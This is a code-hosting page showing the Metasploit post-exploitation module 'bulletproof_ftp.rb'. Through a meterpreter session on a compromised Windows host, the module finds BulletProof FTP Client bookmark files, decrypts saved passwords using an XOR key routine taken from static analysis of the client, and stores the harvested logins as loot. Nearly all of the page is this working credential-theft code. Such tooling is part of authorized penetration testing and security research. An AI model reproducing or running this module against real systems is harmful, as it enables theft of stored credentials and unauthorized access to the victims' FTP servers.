Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/bulletproof_ftp.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::Report7include Msf::Post::File8include Msf::Post::Windows::UserProfiles9include Msf::Post::Windows::Registry1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Windows Gather BulletProof FTP Client Saved Password Extraction',16'Description' => %q{17This module extracts information from BulletProof FTP Bookmarks files and store18retrieved credentials in the database.19},20'License' => MSF_LICENSE,21'Author' => [ 'juan vazquez'],22'Platform' => [ 'win' ],23'SessionTypes' => [ 'meterpreter' ],24'Compat' => {25'Meterpreter' => {26'Commands' => %w[27stdapi_sys_config_getenv28]29}30}31)32)33end3435class BookmarksParser3637# Array of entries found after parsing a Bookmarks File38attr_accessor :entries3940def initialize(contents)41@xor_key = nil42@contents_bookmark = contents43@entries = []44end4546def parse_bookmarks47if !parse_header48return49end5051until @contents_bookmark.empty?52parse_entry53@contents_bookmark.slice!(0, 25) # 25 null bytes between entries54end55end5657private5859def low_dword(value)60return Rex::Text.pack_int64le(value).unpack('VV')[0]61end6263def high_dword(value)64return Rex::Text.pack_int64le(value).unpack('VV')[1]65end6667def low_byte(value)68return [value].pack('V').unpack('C*')[0]69end7071def generate_xor_key72# Magic numbers 0x100 and 0x8088405 is obtained from bpftpclient.exe static analysis:73# .text:007B13C1 mov eax, 100h74# ... later75# .text:0040381F imul edx, dword_7EF008[ebx], 8088405h76# .text:00403829 inc edx77# .text:0040382A mov dword_7EF008[ebx], edx78# .text:00403830 mul edx79temp = @xor_key * 0x808840580temp = low_dword(temp)81temp += 182@xor_key = temp83result = temp * 0x10084result = high_dword(result)85result = low_byte(result)86return result87end8889def decrypt(encrypted)90length = encrypted.unpack('C')[0]91return '' if length.nil?9293@xor_key = length94encrypted = encrypted[1..length]95return '' if encrypted.length != length9697decrypted = ''98encrypted.unpack('C*').each do |byte|99key = generate_xor_key100decrypted << [byte ^ key].pack('C')101end102return decrypted103end104105def parse_object106object_length = @contents_bookmark[0, 1].unpack('C')[0]107object = @contents_bookmark[0, object_length + 1]108@contents_bookmark.slice!(0, object_length + 1)109content = decrypt(object)110return content111end112113def parse_entry114site_name = parse_object115site_address = parse_object116login = parse_object117remote_dir = parse_object118local_dir = parse_object119port = parse_object120password = parse_object121122@entries << {123site_name: site_name,124site_address: site_address,125login: login,126remote_dir: remote_dir,127local_dir: local_dir,128port: port,129password: password130}131end132133def parse_header134signature = parse_object135if !signature.eql?('BPSitelist')136return false # Error!137end138139unknown = @contents_bookmark.slice!(0, 4) # "\x01\x00\x00\x00"140return false unless unknown == "\x01\x00\x00\x00"141142return true143end144end145146def check_installation147bullet_reg = 'HKCU\\SOFTWARE\\BulletProof Software'148bullet_reg_ver = registry_enumkeys(bullet_reg.to_s)149150return false if bullet_reg_ver.nil?151152bullet_reg_ver.each do |key|153if key =~ /BulletProof FTP Client/154return true155end156end157return false158end159160def get_bookmarks(path)161bookmarks = []162163if !directory?(path)164return bookmarks165end166167session.fs.dir.foreach(path) do |entry|168if directory?("#{path}\\#{entry}") && (entry != '.') && (entry != '..')169bookmarks.concat(get_bookmarks("#{path}\\#{entry}"))170elsif entry =~ (/bpftp.dat/) && file?("#{path}\\#{entry}")171vprint_good("BulletProof FTP Bookmark file found at #{path}\\#{entry}")172bookmarks << "#{path}\\#{entry}"173end174end175return bookmarks176end177178def check_bulletproof(user_dir)179session.fs.dir.foreach(user_dir) do |directory|180if directory =~ /BulletProof Software/181vprint_status("BulletProof Data Directory found at #{user_dir}\\#{directory}")182return "#{user_dir}\\#{directory}" # "\\BulletProof FTP Client\\2010\\sites\\Bookmarks"183end184end185return nil186end187188def report_findings(entries)189entries.each do |entry|190@credentials << [191entry[:site_name],192entry[:site_address],193entry[:port],194entry[:login],195entry[:password],196entry[:remote_dir],197entry[:local_dir]198]199200service_data = {201address: Rex::Socket.getaddress(entry[:site_address]),202port: entry[:port],203protocol: 'tcp',204service_name: 'ftp',205workspace_id: myworkspace_id206}207208credential_data = {209origin_type: :session,210session_id: session_db_id,211post_reference_name: refname,212username: entry[:login],213private_data: entry[:password],214private_type: :password215}216217credential_core = create_credential(credential_data.merge(service_data))218219login_data = {220core: credential_core,221access_level: 'User',222status: Metasploit::Model::Login::Status::UNTRIED223}224225create_credential_login(login_data.merge(service_data))226end227end228229def run230print_status('Checking if BulletProof FTP Client is installed...')231if !check_installation232print_error("BulletProof FTP Client isn't installed")233return234end235236print_status('Searching BulletProof FTP Client Data directories...')237# BulletProof FTP Client 2010 uses User Local Settings to store bookmarks files238profiles = grab_user_profiles239bullet_paths = []240profiles.each do |user|241next if user['LocalAppData'].nil?242243bulletproof_dir = check_bulletproof(user['LocalAppData'])244bullet_paths << bulletproof_dir if bulletproof_dir245end246247print_status('Searching BulletProof FTP Client installation directory...')248# BulletProof FTP Client 2.6 uses the installation dir to store bookmarks files249progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')250progfilesx86 = progfiles_env['ProgramFiles(X86)']251if !progfilesx86.blank? && progfilesx86 !~ /%ProgramFiles\(X86\)%/252program_files = progfilesx86 # x64253else254program_files = progfiles_env['ProgramFiles'] # x86255end256257session.fs.dir.foreach(program_files) do |dir|258if dir =~ /BulletProof FTP Client/259vprint_status("BulletProof Installation directory found at #{program_files}\\#{dir}")260bullet_paths << "#{program_files}\\#{dir}"261end262end263264if bullet_paths.empty?265print_error('BulletProof FTP Client directories not found.')266return267end268269print_status('Searching for BulletProof FTP Client Bookmarks files...')270bookmarks = []271bullet_paths.each do |path|272bookmarks.concat(get_bookmarks(path))273end274if bookmarks.empty?275print_error('BulletProof FTP Client Bookmarks files not found.')276return277end278279print_status('Searching for connections data on BulletProof FTP Client Bookmarks files...')280entries = []281bookmarks.each do |bookmark|282p = BookmarksParser.new(read_file(bookmark))283p.parse_bookmarks284if !p.entries.empty?285entries.concat(p.entries)286else287vprint_error("Entries not found on #{bookmark}")288end289end290291if entries.empty?292print_error('BulletProof FTP Client Bookmarks not found.')293return294end295296# Report / Show findings297@credentials = Rex::Text::Table.new(298'Header' => 'BulletProof FTP Client Bookmarks',299'Indent' => 1,300'Columns' =>301[302'Site Name',303'Site Address',304'Port',305'Login',306'Password',307'Remote Dir',308'Local Dir'309]310)311312report_findings(entries)313results = @credentials.to_s314315print_line("\n" + results + "\n")316317if !@credentials.rows.empty?318p = store_loot(319'bulletproof.creds',320'text/plain',321session,322@credentials.to_csv,323'bulletproof.creds.csv',324'BulletProof Credentials'325)326print_status("Data stored in: #{p}")327end328end329end330331332